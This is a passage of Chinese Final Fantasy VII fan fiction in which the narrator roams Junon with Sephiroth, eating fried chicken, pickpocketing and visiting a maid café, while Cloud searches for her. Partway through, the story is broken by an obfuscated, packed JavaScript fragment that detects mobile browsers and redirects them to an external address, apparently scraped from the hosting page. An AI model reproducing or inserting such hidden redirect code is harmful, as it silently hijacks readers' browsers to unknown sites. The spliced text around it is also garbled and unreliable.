他的话让我完全沉浸于炸鸡中的思绪稍稍脱出来了一点,稍微分心思索于他的“变化”。 比起以往那个英雄,萨菲罗斯改变了吗? “你不还是你吗?萨菲罗斯。” 得出结论,我随口应答后,继续打算低头狂吃。 他轻敲桌面的动作停滞了。 炸鸡店嘈杂的背景音仿佛在这一刻也随之退远了少许。 周遭食客的谈笑声、炸炉运作的滋滋声、杯盘碰撞的清脆声响,一切都还在继续,唯独我们这一桌,陷入了一种微妙的静默。 辣翅在手,我啃食的动作却不自觉慢了下来,对周围气氛的变化感到茫然。 这是怎么了? “所以,在你看来,我的存在…或者说我如今的状态,与过往并无二致?” 萨菲罗斯开口了,他的语调有些奇怪。 忽地给我一种在小时候被通识课老师点起来回答问题的感觉,又有些像之前当1st时拉扎德问我有没有写报告的场景。 “呃……你变开心了。还有,多了个目标?” 我舔了舔嘴唇上残留的辣酱。 “不想守护人类了,那就不守护,换成做掉了他们而已。” “你不还是你自己吗?” 萨菲罗斯抿了抿唇,忽地转过头,不再看我了。 稍长的银发隐没在黑袍之中,更加盖住了那抹翠色中闪过的东西。 “……” 太好了,他不看我了。 管萨菲罗斯在想什么,继续爽吃才重要。 我将辣翅塞进嘴里。 辛辣与香甜的酱汁在舌尖炸开,混着鸡肉本身的鲜美,让我幸福地眯起了眼睛。 吃到第三块的时候,我有些受不了了,猛地喝了一大口可乐。 清凉的碳酸饮料与辣意交织,带来刺激的快意,我长舒一口气。 “哈——爽!” 我放下几乎空掉的大杯可乐,心满意足地打了个嗝。 正准备向薯条进攻时,有什么东西—— 黏腻的,柔软的,带着一种奇怪的力道——轻轻捏住了我的小腿,不轻不重地揉捏了一下。 “……” 我浑身一个激灵,差点把刚吃到嘴里的半根薯条给喷出去。浓郁的芝士香气和土豆的软糯口感瞬间在嘴里变得有些怪异。 这什么东西?! 这炸鸡店的桌子不大,而且桌布垂得很低,完全挡住了我往桌子底下看的视线。 我猛地抬起头。 萨菲罗斯依然维持着那个侧过头、似乎在凝视着窗外街景的姿势。 黑色的兜帽边缘遮住了他大半的面容,只露出线条优美的下颌和紧抿的薄唇。从我的角度,完全看不到他的表情,也无法判断这突如其来的“骚扰”是否与他有关。 “喂,”我用胳膊肘轻轻碰了碰他,“你刚才,有没有看到桌子下的东西?” 萨菲罗斯缓缓地转回头,那双隐藏在面罩后的碧绿眼眸,此刻如同两汪幽静的深潭,平静无波地注视着我。 他并没有立刻回答,而是沉默了几秒,仿佛在思索我的问题,又或者,是在欣赏我脸上那份掩饰不住的惊疑。 “东西?” 他的尾音微微上扬。 “你是说,除了我和你之外的‘东西’?” 这语气,怎么听都像是在明知故问。 “别装蒜了!”我没好气地压低声音,“是不是你搞的鬼?桌子底下!” 就在我质问他的时候,那个东西,或者说,那股力道,又一次缠上了我的小腿。 这一次,它没有捏,而是像蛇一样,冰凉而柔韧地缓缓向上滑动,隔着裤料,那种黏腻而带着压迫感的触感更加清晰。 它甚至在我的膝弯处不轻不重地搔刮了一下,带来一阵难以言喻的麻痒感。 我浑身的肌肉瞬间绷紧。 “萨菲罗斯!”< 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“另一只,”他的视线转向桌面上那些被我扫荡得差不多的食物残骸,“在为你整理餐具,确保你享用美食的过程…足够愉悦。” 他顿了顿,那双眼眸重新锁定我,带着一种近乎实质的压迫感和一丝…戏谑。 “那么,在你腿上游移的…又会是什么呢?” 他轻轻地笑了一声,透过面罩传出来,带上了一种朦胧的蛊惑意味。 “难道是…我对你那份对我本质的认可,产生了某种…‘实质性’的共鸣?” ”我看你是脑子产生了实质性的短路!“ 我立马抓出一只鸡块,给它沾满辣酱,然后猛地凑近,掀开他的兜帽后,塞进萨菲罗斯嘴里。 他的身体有那么一瞬间的僵硬,那种细微到几乎无法察觉的停顿,如同时间被凝固了一帧。 那双显露而出,始终凝视着我的碧绿眼眸,在那一刹那,似乎有什么复杂的光芒急促地闪动了一下。 脚踝处那种令人抓狂的触感终于消失了。 ——但萨菲罗斯咬了咬我的手指。 “……” 我的手指上传来一阵湿热而尖锐的触感,伴随着一股极淡的、几乎可以忽略不计的血腥气,那是萨菲罗斯的牙齿不轻不重地研磨过我指尖皮肤时留下的感觉。 他的舌尖似乎还极其短暂地扫过被咬的地方,带起一阵奇异的麻痒,然后才松开。 整个过程快得如同错觉,但那残留在指尖的、带着些许刺痛的湿润感却是那么清晰。 我猛地缩回手,用另一只手蹭了蹭被他咬过的指尖,那上面还沾着他唇齿间残留的辣酱和一丝……? 管他是什么。 “你为什么咬我?!” 我怒视着他,声音因为恼怒而拔高了几分,引得邻桌几个正在啃鸡翅的小年轻好奇地朝我们这边张望。 萨菲罗斯没说话,慢条斯理地咀嚼着,他似乎真的在品尝那块被我强行塞进去的、裹满了地狱级辣酱的炸鸡块。 他吃东西的姿势依旧优雅得无可挑剔,即使嘴里是这种极具冲击性味道的食物,他的动作也丝毫不见狼狈。 微微扬起下巴,喉结滚动了一下,他将那块鸡肉咽了下去。 萨菲罗斯抬起手,用指尖轻轻擦拭了一下嘴角——那里并没有沾染上任何酱汁。 “味道很独特。” “充满了你的气息。” 萨菲罗斯的目光落在我那只刚刚被他“品尝”过的手上。 “甜美,辛辣,还有……不易驯服的野性。” 我现在觉得,炸鸡可以从“我最喜欢的食物”中的列表中去掉了。 --- 等结束这场让我对炸鸡彻底厌倦的大餐后,我顺了好几包免费的酸角干,和萨菲罗斯一齐走了出去。 来到巷角。 萨菲罗斯二号不见了。 “……” 我转过头,银发男人站在我身侧,他微微歪头,依然带着那抹笑意,安静的看着我。 57.第54章 我的鸟呢? 我那么大一只白色陆行鸟呢? 我转过头,与萨菲罗斯面面相觑。 他不紧不慢的音调响起。 “一只被过度惊吓的禽类,在约束它的力量消失后,选择逃离此地,不是很正常的行为吗?” “它或许觉得,比起待在一个能散发出让它恐惧气息的存在身边,独自面对未知的街道反而更安全一些。” “你放它走的?”我挑起眉毛,语气里充满了怀疑。这家伙绝对是故意的! “我只是收回了施加在它身上的‘威慑’。”萨菲罗斯慢条斯理地回答,“至于它选择去哪里,那是它的自由。” 我双手叉腰,眉毛拧成一团,声音里充满了不悦。 “它可是我从陆行鸟牧场‘说服’来的坐骑!我的东西,哪有自由一说?你名字的一部分冠在它身上呢,就这么让它跑了,你良心过得去吗?” 萨菲罗斯微微偏过头,黑色的兜帽随着他的动作轻轻晃动,那双隐藏在阴影下的碧绿眼眸,此刻似乎闪烁着笑意。 他伸出手,用戴着黑色手套的食指轻轻点了点我的额头,冰凉的触感清晰。 “你似乎对我抱有一些不切实际的幻想。” “良心,对于现在的我而言,和路边一块无用的石头并无区别。至于那个名字…” 他顿了顿,指尖从我的额头滑下,轻轻捏了捏我的下巴。 凉凉的。 “不过是你一时的戏言。一只愚笨的禽类,并不配承载我的名讳。它逃了,或许对它而言,是一件幸事。” 萨菲罗斯的拇指在我下巴上轻轻摩挲着。 “幸事?我看是你嫌弃它名字里带了你的名字,所以故意把它弄丢的吧!” 我拍开他的手,指控他。 没等萨菲罗斯再说什么,我就一把拽过他,往广场走了。 可恶,我一定要把萨菲罗斯二号找回来。 不然的话,我就要让萨菲罗斯变成陆行鸟当我的萨菲罗斯三号。 --- 那只陆行鸟立马就被我抛之脑后了。 珠诺的广场此刻到处是人,叫卖的小贩摆的摊前有我认不出物种的海鲜,萨菲罗斯被我晾在一边,他看着我不停的戳着那条软趴趴的鱼。 噗叽。 那条鱼发出一声轻微的、类似放气的声音,身体也跟着颤动了一下。 摊主是个满脸横肉、围着腥臭围裙的壮汉,他已经盯着我好一会儿了,那眼神活像是想把我当成摊位上的鱼一起剁了,但萨菲罗斯站在我身侧,他那股凶神恶煞的气焰就跟被戳破的气球似的瘪了下去。 “这位小姐,这,这鱼可不兴这么戳啊,会,会影响卖相的……” “没事,我看也没人会买它。” “……” 我又戳了戳。 软绵绵的,像块巨大的黑色果冻。 噗叽—— 它又发出了一声微弱的、像是漏气轮胎发出的悲鸣,整个身体都随之抖动了一下,几滴黑色的、黏糊糊的液体从它皮肤的褶皱里渗了出来。 “我说,大叔,”我侧过头,好奇的看着摊主,手上的动作却没停,又在那可怜的鱼身上戳了个小坑,“它真的能吃吗?看起来像是谁家下水道里捞出来的变异鼻涕虫。” “当然能吃。”摊主从牙缝里挤出几个字,“这可是深海独有的‘墨玉膏腴’!大补!识货的人抢都抢不到!” 我笑了一声。 “它居然不叫深海烂泥。” “……小姐,你不买的话——” 摊主深吸了一口气,瞥见我开始四处张望的模样,忽地改口。 “港口那边,有新的活动,关于明天的阅兵仪式,小姐你感兴趣吗?” 阅兵仪式?神罗的吗?我记得以往这种活动,我总是在角落摸鱼。 去看看吧。 我闻言应了一声,放下那团可怜的鱼,往港口的方向走去。 港口处有着不少整齐穿着的神罗士兵,看起来戒备森严。 此时,正好有一条船正在出航。 哦,突然想起来,我好像要去西大陆来着。 要不抢一条船吧。或者…… 我转过头,与正盯着我看的萨菲罗斯对视。 “萨菲罗斯,你可以变成游艇吗?” ”……“ 看他的表情我就知道答案了。 “萨菲罗斯,你真没用。” 萨菲罗斯只是静静地站在那里,黑色面罩下的碧绿眼眸注视着我,那眼神平静得有些诡异,仿佛我刚才说的不是对他能力的质疑,而是一句无关紧要的问候。 我撇了撇嘴,对于他这种油盐不进的态度已经有些习惯了。 这家伙总是这样,要么用那种黏糊糊的眼神看着我,要么就用这种沉默来表明他的态度。 我觉得是因为他知道自己吵不过我。 “好吧好吧,我知道你厉害,”我不耐烦地摆摆手,“不能变成游艇就算了,那你站在这等会吧。” 说着,大太刀的刀柄慢慢自我右手凝聚,我往前一步—— “你要做什么?” 他拽住了我的手腕。 “直接抢船啊。” 他好像笑了一声。 “你会开船吗?” “……” 我的脚步停了停。刀锋在凝实到一半的时候微微晃动了一下,不情不愿地消散在空气中。 “哦,不会。” “那么——明天,你我再一齐登上神罗的游轮。我们可以在珠诺再待一天,想去广场玩玩吗?” 萨菲罗斯慢条斯理的松开手,微微歪头,等待着我的反应。 我眯了眯眼。 --- 珠诺的广场比我想象的要更大一些,也更……混乱。 天色已经完全暗了下来,广场四周点亮了许多瓦斯灯和魔晄灯,将整个区域照得灯火通明。各式各样的小摊贩沿着广场边缘一字排开,售卖着从廉价饰品、特色小吃到各种稀奇古怪工具的商品。 空气中弥漫着烤肉的焦香、劣质香水的甜腻、海产的咸腥以及人群汗液的酸腐气味,形成一种复杂而独特的城市气息。 人流熙熙攘攘,摩肩接踵。 我和萨菲罗斯这一身从头到脚都裹在黑色斗篷和面罩里的打扮,在这样的人群中无疑是显眼的异类。 即使在光线昏暗、鱼龙混杂的广场上,也依旧吸引了不少或好奇、或警惕、或探究的目光。 “人类总是热衷于无意义的聚集和喧嚣。” “他们从中寻求慰藉,排遣孤独,或者…满足某种原始的归属感。” 萨菲罗斯在我身旁平静地评价,他的声音在嘈杂的环境中显得异常清晰,仿佛具有穿透一切杂音的力量。 我没有理他,视线全都凝聚在了一个卖周边的小摊。 是……是—— 在一个摆满了各种卡片、徽章、小人偶和印着奇怪图案布料的小摊角落,一本包装精致、闪耀着谜之圣光(在我眼里)的书状物体赫然在列, 它的封面是那种带有磨砂质感的硬壳,上面用烫金色印着一行熟悉的不能再熟悉的文字——《系统之我在米德加开诊所》 这本书可是我从小到大的最爱,梦想的启蒙,信念的来源。 “老板!那个!那个我要了!” 我一个箭步冲到摊位前,手指因为激动而微微颤抖,直直地指向那本散发着“买我!快买我!”气息的限量版。 我感觉自己的口水都快流下来了。 这本我之前在当1st的时候都没见过,天哪。 这是哪一册啊? 不会是那传说中的结局版本吧? 那个狗作者终于打算完结了吗? 摊主是个戴着圆片眼镜、留着两撇小胡子、看起来有些猥琐的中年男人。他被我这突如其来的气势吓了一跳,手里的蒲扇都差点掉地上。 “啊?小、小姐,您说的是……这个?” 他顺着我手指的方向看去,拿起那本限量版,脸上的表情有些古怪,像是想笑又不敢笑。 “咳,这个可是本店的珍藏,一般人我不卖的。” “开个价!” 我大手一挥,语气豪迈。 虽然我现在身上可能连买一串烤陆行鸟肉的钱都没有,但气势不能输! 被我丢在路边的萨菲罗斯施施然的走了过来,不用看我就知道他现在估计有些不高兴。 但现在谁还顾得上他?! “咳嗯,这位小姐,您可真有眼光。这本《系统之我在米德加开诊所》的最终纪念特典版,可是我们珠诺□□家发行的绝版货!全球限量,不超过一百本!” 他伸出一根手指,在空中比划着,语气也变得抑扬顿挫起来。 “您看看这封面,纯手工烫金!这纸张,顶级魔晄纤维纸浆!这内容——更是作者沥尽心血的最终章!多少人想买都买不到呢!” “所以嘛,这个价格……嘿嘿,自然也是要配得上它的珍贵程度的。”摊主搓了搓手,脸上堆起了谄媚的笑容,“不多不多,承惠,三万Gil!” “三万?!” 摊主看我不可置信的模样,正要改口,就见我抱着书惊喜的欢呼。 “才三万吗?真的假的,我之前买倒数第三卷精装版都六万。” 这本轻小说也不知是什么年代的了,一共四卷。前两卷到处都有卖,但是第三卷就很少有见到,更不要说作者没写完的第四卷。 我忽然想到了什么。 “你这是真的结局吧?我能先看看吗?如果不是的话我就把这个港口全屠了。” “啊……” 摊主咽了口口水。 “小、小姐,您,您开玩笑的吧,哈哈,开玩笑的。” 他试图挤出一个比哭还难看的笑容,声音发飘,毫无底气。 “这珠诺港可,可都是神罗的地盘,您,您这,这——” 他说不下去了,因为我正平静的看着他。 “我从不开这种玩笑。” “……” 没等他再说什么,我就翻开看了起来。 刷拉刷拉的书页声,果然是熟悉的情节。 哦,是第三卷,换了个包装而已。 “切。” 我撇撇嘴,将书丢了回去,垂着脑袋走了出去。 果然是第三卷啊,也怪不了摊主,只有像我这种资深粉丝才知道第四卷的存在,大多人都以为完结了呢。 一旁的萨菲罗斯随着我一齐在街上闲逛。 越到晚上,反而人越来越多,魔晄灯一个个亮起,照亮了这座港口都市独一无二的风采,空气中时不时还能闻到越来越浓郁的海鲜气味。 “你刚刚的表情很有趣。” 萨菲罗斯的声音从身侧传来。 “什么表情?” 我没好气地反问。 “平静的,专注的,带着一丝……冰冷的杀戮欲。” “就像一只准备捕猎的野兽,在锁定猎物的瞬间,露出的那种原始而纯粹的獠牙。” 他微微偏过头,似乎在回忆当时的场景,声音里染上了一抹玩味:“如果那个摊主没有及时改口,恐怕现在,珠诺港的地面上,又要多一滩难以清理的污渍了。” “你这话说的,好像很期待我动手一样。” “我只是在陈述一种可能性。你的力量,本就应该肆意挥洒,而不是像现在这样,被无聊的规则和虚伪的道德所束缚。” 他的声音压低了几分,带着一种蛊惑人心的魔力:“愤怒,渴望,杀意……这些都是最纯粹的情感,也是力量的源泉。为什么要压抑它们?” “释放出来,让它们成为你的一部分,你会发现一个全新的,更加强大的自己。” “……哦。” “不过,比起这个——” 我忽地拿起什么,抵在他面前。 人群的溪流从我们身侧流过。 萨菲罗斯稍稍一顿。 那是一个黑色的小荷包。 我得意洋洋的笑着。 “看啊,萨菲罗斯。我刚刚‘顺’来的,有5000Gil!我们去吃甜点吧!” 荷包的布料粗糙,边缘还有些磨损,鼓鼓囊囊的,显然装了不少硬币。上面沾染着陌生人的气息和广场上混杂的味道。 萨菲罗斯并没有立刻动作,只是那双碧绿眼眸微微闪动,目光从荷包移到我的脸上,最后停留在我弯起的莹绿色眼睛上。 “动作倒是利落。” 声音平稳,听不出是赞扬还是单纯的陈述。 他伸出戴着黑色手套的手,却没有去接那个荷包,而是轻轻戳了戳我的额头。 “你又戳我?!” 我登时勃然大怒。 萨菲罗斯似乎完全没料到我会是这个反应,他戴着手套的手指还停留在半空中,维持着刚才戳我额头的姿势,碧绿的眼眸透过兜帽的缝隙,也显露出几分……困惑? “你的关注点,总是如此出人意料。” 他收回手。 “我以为,你会更在意我对我之前提议的看法。” “什么看法?你同意我花这钱去吃甜点了吗?” 我立刻抓住了重点,眼睛亮晶晶地看着他。 美食当前,什么小摩擦都不重要。 “……” 萨菲罗斯沉默了一下。 而我已经抓着他往广场深处走了。 越往内,人流越多,我注意到了两边不同街角的店铺。 一家是普通的甜点店,一家是女仆咖啡馆……?去哪家比较好呢…… “去那吧。” 萨菲罗斯忽然选了一个。 我顺着萨菲罗斯手指的方向看去,那是一家门面装饰得粉粉嫩嫩,门口立着一个穿着蕾丝花边围裙、画着夸张可爱妆容的女性人形立牌的店铺。 立牌上用弯弯扭扭的字体写着 “喵呜~?甜蜜梦境女仆咖啡馆?~欢迎主人回家~”。 “……” “你是认真的?” 我扭过头,用一种极度怀疑的目光打量着他。 “你,萨菲罗斯,想去女仆咖啡馆?” “有何不可?”他反问,声音平稳,听不出任何情绪,“既然是‘甜点’,在哪里品尝,形式如何,重要吗?或许,这家店的‘特色’,能给你带来不同于寻常的体验。” 我还真的没去过这样的地方,确实很好奇。 大步流星地走到女仆咖啡馆的门口,粉色的门上挂着一个摇摇晃晃的“OPEN”牌子,旁边还贴着几张画风可爱的宣传海报,上面是不同“女仆”的卡通形象。 “叮铃铃——” 推开门的瞬间,一阵清脆的风铃声响起,紧接着便是甜腻得发嗲的欢迎语。 “欢迎主人回家喵~!哎呀,是两位帅气的主人呢!” 一个梳着双马尾、穿着改良式黑白女仆装、裙摆短得恰到好处露出大片白皙腿肉的年轻女孩,脸上堆着职业化的甜美笑容,朝着我们深深鞠了一躬,声音甜得像泡在糖水里。 她身后,是与门面风格高度统一的内部装饰。 粉色与白色是主色调,墙壁上贴满了各种卡通动物和爱心图案的墙纸,天花板上吊着蕾丝花边的装饰灯。 咖啡馆里零零散散地坐着几桌客人,大多是些看起来有些宅的年轻男性,他们正拘谨地接受着其他几位同样穿着清凉女仆装的女孩的服务,时不时发出几声压抑的、意义不明的笑声。 而我和萨菲罗斯,与这周遭的一切都显得格格不入。 真要说,我们应该像是那种催债的。 那个双马尾女仆脸上的笑容僵硬了片刻,但很快又恢复了职业素养。 “两位主人,请问有预约吗?还是第一次光临我们‘甜蜜梦境’呢?” 她努力让自己的声音保持甜美,但眼神却不由自主地往萨菲罗斯身上瞟。 为什么不看我?因为我不够高吗?可恶…… 我慢条斯理的摘下兜帽,当显露容颜的时候,对方的视线立马就聚焦到了我身上。 哈,这就是我的超好看脸。 “第一次。” 我语气尽量显得随意。 “随便给我们找个安静点的位置就行。” 说着,我自顾自地打量着周围的环境,目光在那些花里胡哨的装饰和忙碌的女仆身上扫过。 “好的喵~两位主人请跟我来~” 双马尾女仆在短暂的迟疑后,还是专业地引着我们走向一个靠窗的空位。那是一个用粉色蕾丝屏风隔开的小卡座,相对来说还算安静。 萨菲罗斯突然发话了。 “要里面一些的座位。” “哎,里,里面的座位喵?” 她强行让自己的声音再次甜腻起来,尾音却因为紧张而微微发颤。 “可,可是里面的座位光线不太好哦,而且离厨房比较近,可能会有点吵呢喵……” 萨菲罗斯没有理会她的解释,只是用那双隐藏在兜帽后的碧绿眼眸静静地看着她。 明明没有任何威压性的动作或言语,却让那个年轻的女仆不由自主地缩了缩脖子,额头上甚至冒出了一层细密的冷汗。 “安静一些就好。” 我替他回答,顺手推了推杵在原地没动的萨菲罗斯。 “快带路吧,我们赶时间。” “好,好的喵!两位主人这边请!”女仆如蒙大赦,连忙转身,踩着带着毛绒球的小皮鞋,领着我们往咖啡馆深处走去。 越往里走,光线确实越发昏暗,空气中那种甜腻的香氛味道也似乎被厨房飘来的黄油和焦糖味所取代。 墙壁上的装饰画风更加奔放,出现了大幅的、穿着各种奇特服装(比如带着猫耳的泳装?)的女仆画像,甚至还有几个等身大小的纸板立牌戳在角落。 我自顾自地坐到靠墙的长沙发上,软绵绵的触感让我有些不适地挪了挪。 萨菲罗斯则优雅地坐在我对面,即使在这种环境下,他依然保持着挺拔的坐姿,黑色的斗篷妥帖地垂落。 “有什么特色甜点?招牌的都端上来。” 我懒洋洋地开口,菜单都懒得翻。 反正那五千也不是我的。 “好、好的喵!” 女仆连忙应声,大概是巴不得赶紧离开我们这两个煞神。 “我们店的招牌是‘草莓甜心魔法芭菲’和‘巧克力熔岩喵呜蛋糕’!还有‘女仆特调恋爱奶昔’,需要为您加上‘爱心魔法’吗喵?” 她一边说,一边努力维持着甜美的笑容,手指紧张地抠着自己的围裙边。 “爱心魔法?那是什么?” 我好奇地抬起头。 “就,就是女仆会对甜点施加一个祝福的咒语喵,然后画上可爱的图案,让主人吃下去之后能感受到满满的爱意和幸福感喵!” 女仆的脸颊微微泛红,不知道是羞的还是紧张的。 我扭头看向萨菲罗斯,对他挑了挑眉。 “喂,你要不要试试那个‘爱心魔法’?” 萨菲罗斯沉默了两秒,眸子意味不明地扫过女仆涨红的脸,最后落在我带着戏谑笑意的脸上。 “不必了。” 他干脆地拒绝。 “我对人造的‘爱意’和虚假的‘幸福感’没有兴趣。”他顿了顿,补充道。“直接上甜点。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525846|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那语气,与其说是在点单,不如说是在下达命令。 “是,是喵!” 女仆如获重释,几乎是逃也似的跑开了。 卡座里一时间安静下来,只剩下远处隐约的嘈杂和厨房的声响。 --- “真是怪了,有只那么大的白色陆行鸟在珠诺。” “哎呀,或许是迷路了呢?” “它看起来很害怕,把它送回市场是对的吧?” “哼,因为一只鸟,我们居然耽误了这么多时间。” “克劳德,怎么了?为什么一直看那边?” “克劳德……?” 明天,珠诺神罗阅兵仪式将会开始。 昏暗的广场上,人格外的多。 克劳德站在原地,目光久久的落在那个位置。 小贩的叫卖声,爱丽丝和扎克斯的对话,蒂法担忧的呼唤,□□跟尤菲的闲聊—— 一切,仿佛都与他无关。 “克劳德?克劳德!” 扎克斯晃了晃他的肩膀,金发男人回过神,他低低的应了一声。 “嗯……扎克斯。” 其他几人的目光也落在了他身上。 他的神情有些奇怪的恍惚,手中紧紧捏着一包塑料包装的陆行鸟饼干——过去了一周左右,里面的食物早已被蹂躏成了粉末状物。 蒂法试探的询问。 “是昨天没有休息好吗?” 提起昨晚,除了扎克斯,其余几人都显露出了有些奇怪的表情。 他们都不会忘记克劳德坐在床铺上,盯着这袋可怜的饼干发呆几个小时的模样。 “没有……我——” 黑色的衣角,两个影子,一大一小。 那抹银色的发尾,她的—— 克劳德猛地往那边走了过去。 ”啊。克劳德!“ ”你去哪?“ 他没有回应同伴,一股脑地推开人群,目光死死的盯着那个逐渐隐去的影子。 是她。 就是她。 旁边那个是——萨菲罗斯?实体,还是幻觉…… 不是幻觉,她不可能是幻觉。 为什么要站在他那边? 为什么要复活他,她知道会发生什么吗?萨菲罗斯和她…… 那么我们呢? …… 我呢…… “喂?你小子——” “不好意思。” 克劳德抬起头,与那位被撞到的男人对视了一眼,他飞快地道歉后,继续往那个方向挤—— “你就这么走?我的衣服可脏了,你……” 男人抓住他的领子,正准备把看起来不怎么高的克劳德拎起来。 然后,注意到了他背后那把门板大的符文剑。 “……” 在与那抹浅青色眸子对视的一瞬间,男人脱力似的松开手,克劳德冲了出去。 广场深处的岔路,人流越发密集,他极力抬起头寻找那抹影子,却什么都没有追寻到。 终点处,只有两家比较显眼的甜品店。 “……” 左边是一家门面朴素,飘散着浓郁黄油和糖霜香气的传统糕点屋。 右边则是一家招牌花哨的咖啡馆,挂着一块粉红色的、画着可爱卡通图案的招牌,上面用弯弯扭扭的字体写着一行他看不懂的文字,门口还立着一个穿着蕾丝花边围裙的女性人形立牌 犹疑了一瞬间,克劳德往左边的店铺走。 糕点屋内的空间并不大,空气中弥漫着浓郁的烘焙香气。 几张铺着格子桌布的小圆桌旁坐着三三两两的客人,他们大多在低声交谈,或者安静地品尝着面前的甜点。 柜台后,一个戴着白色厨师帽的胖师傅正在忙碌着,看到克劳德闯进来,只是略微抬了抬头,便继续埋头工作。 克劳德飞快地扫过店内的每一个角落,每一个客人。 他的呼吸有些急促,胸口因为剧烈的跑动和内心的焦灼而微微起伏。 没有。 没有那熟悉的身影,没有那独特的银发,没有那双总是带着一丝戏谑和狡黠的莹绿色眼眸。 这里的每一个人,都与他记忆中的“她”截然不同。 那些欢声笑语,那些甜蜜的氛围,在他眼里如同隔着一层厚厚的毛玻璃,模糊而遥远。 “克劳德?” 扎克斯和蒂法的声音从门口传来,他们也走进了糕点屋,小心翼翼地观察着店内的情景,以及克劳德失魂落魄的表情。 “怎么了?为什么突然跑出来?” 克劳德垂着脑袋,缓缓地摇了摇头。 金色的发丝凌乱地散落在额前,遮住了那双此刻有些黯淡的青色眸子。 “……我好像,看见她了。” 扎克斯上前一步,宽厚的手掌轻轻搭在克劳德微微颤抖的肩膀上。 “嘿,克劳德,别想太多了。”他的声音温和而有力,试图驱散笼罩在挚友身上的阴霾,“珠诺这么大,人又多,看错也是正常的。我们先找个地方歇歇脚,好不好?” “是啊,克劳德。你从刚才就一直很紧张,脸色也不太好。” 蒂法轻声说,“我们才刚到珠诺,不用这么着急。而且,你手里那个…饼干都快被你捏碎了。” 克劳德的身体因为呼唤轻微地颤动了一下,像是被惊醒的木偶。他缓缓抬起头,那双青色眸子茫然地扫过扎克斯和蒂法关切的脸庞,然后又落回地面。 “我……”他的声音干涩而沙哑,带着一种近乎梦呓般的恍惚,“我确定……是她。那件黑色的袍子,还有……银色的头发。不会错的。” 他的手指无意识地收紧,那包可怜的饼干发出最后的、细微的碎裂声。 眼神固执地在糕点铺里再次逡巡,仿佛不相信自己的眼睛,不相信那个熟悉的身影会凭空消失。 “可是克劳德,”扎克斯的声音依旧温和,“我们都看到了,这里并没有你说的那个人。会不会是穿着相似衣服的路人呢?珠诺这么大,各种打扮的人都有。” 他没有直接否定克劳德的“看见”,而是巧妙地提供了一种更“合理”的可能性,试图将克劳德从偏执的认定中拉出来。 “对啊,而且你看,”蒂法也连忙接口,指了指店门口,“刚才广场上人那么多,挤来挤去的,光线又不好,真的很容易看错人的。说不定你看到的人早就走远了。” "我们先离开这里吧?找个地方坐下来喝点东西,好好休息一下,嗯?” 克劳德抿紧了嘴唇,固执地摇了摇头,金色的发尖随着他的动作微微晃动。 他没有看扎克斯,也没有看蒂法,目光依旧空洞地搜索着这个小小的糕点店,仿佛下一秒那个身影就会从某个角落里走出来。 “不,不是路人。” 他低声重复着,声音里带着一种令人心悸的偏执。 “我感觉到了。就是她。她一定就在这附近。” 扎克斯看着他这副模样,心里暗叫不好。 “好了好了,克劳德。” 扎克斯加重了手上的力道,半是安抚半是强制地将克劳德的身体转向门口。 “就算她真的来过,现在也肯定不在了。我们一直站在这里也不是办法。听话,先跟我来。” “你想吃点什么?这里的蛋糕闻起来很香,要不要买一个带回去?” 扎克斯努力让自己的语气听起来像是平常那样随意和充满活力,试图用食物来吸引克劳德的注意力,这是过去常用的有效方法。 “或者我们回旅店?尤菲和□□他们肯定等急了。”蒂法也上前一步,轻轻拉住克劳德的另一只胳膊,“我们可以回去打牌,或者聊聊天。总比待在这里胡思乱想要好。” 克劳德被两人夹在中间,脚步虚浮的走了出去。 他真的……看错了吗? 那清晰的黑袍,那晃眼的银发,她的笑容,声音。 明明……绝对不会认错的、总是萦绕在他噩梦边缘的两个身影…… --- “主人~您的草莓甜心魔法芭菲和巧克力熔岩喵呜蛋糕来啦喵~” 女仆将两份看起来就甜到发腻的甜点放在桌上,然后退后一步,脸上再次挂上职业笑容。 “请慢用喵~如果还有什么需要,随时呼唤我们哦~” 说完,她逃也似的再次离开了。 我看着眼前那两坨粉色和棕色的混合物。 草莓芭菲上堆满了奶油、草莓、冰淇淋球和各种颜色的糖珠,顶上还插着两片心形的威化饼干。 巧克力蛋糕则被塑造成了一个猫头的形状,旁边点缀着几朵奶油花,中间似乎还流淌着热乎乎的巧克力酱。 光是看着,就感觉牙齿开始隐隐作痛了。 “这就是你说的‘甜点’?” 萨菲罗斯的声音在我对面响起。 “怎么?不好看吗?” 我拿起勺子,舀了一大勺芭菲上的奶油和冰淇淋。 “看着还行啊,就是糖放得有点多。” 冰凉甜腻的奶油和草莓味的冰淇淋在嘴里融化,甜得有些齁人。 好吧,或许我应该选另一家。 “不是好不好看的问题。” 萨菲罗斯看着我把那勺高糖混合物塞进嘴里,碧绿的眼眸微微眯起。 “而是…毫无节制,缺乏美感。只是单纯地将各种甜腻的东西堆砌在一起,粗俗而幼稚。” 他伸出手,用指尖捻起一颗从芭菲上滚落下来的彩色糖珠,放到眼前看了看,然后毫不犹豫地用两根手指将其碾碎,细小的糖屑簌簌落下。 “就像大部分人类短暂而肤浅的感情。” 58.第55章 第二天,旅店。 清晨,我是被一阵熟悉的乐声惊醒的。 虽然本来就没有睡着,但之前的本能还是让我对神罗的军歌深恶痛绝。 窗外是珠诺的海港景色,一轮巨大的轮船在海岸上,神罗的标志在轮船的船身上明显。 转过头,原先在睡前在我身侧抱着我的萨菲罗斯—— “……” 它通体呈现出一种半透明的、如同深海凝胶般的墨黑色,表面流动着幽幽的、和萨菲罗斯魔晄眼如出一辙的碧绿色光芒。 整体轮廓像一只巨大的、摊开的鱿鱼,或者说是一个不定型的史莱姆,只不过这只“鱿鱼”没有固定的触手,而是不断伸缩、变换着形态。 我挑了挑眉,撑起上半身,仔细端详着这坨东西。 【“看来你对我的新形态很感兴趣?”】 “萨菲罗斯,你怎么变成了一滩鼻涕?” 我伸出手,轻轻戳了戳那坨东西边缘探出来的一小截软乎乎的、带着碧绿色荧光的“触手”。 那触手抖了一下,然后灵活地缠上了我的手腕,不轻不重地捏了捏,触感冰凉滑腻,像是在摸一条没有骨头的海参。 【“你的词汇量,总是能给我带来新的‘惊喜’。”】 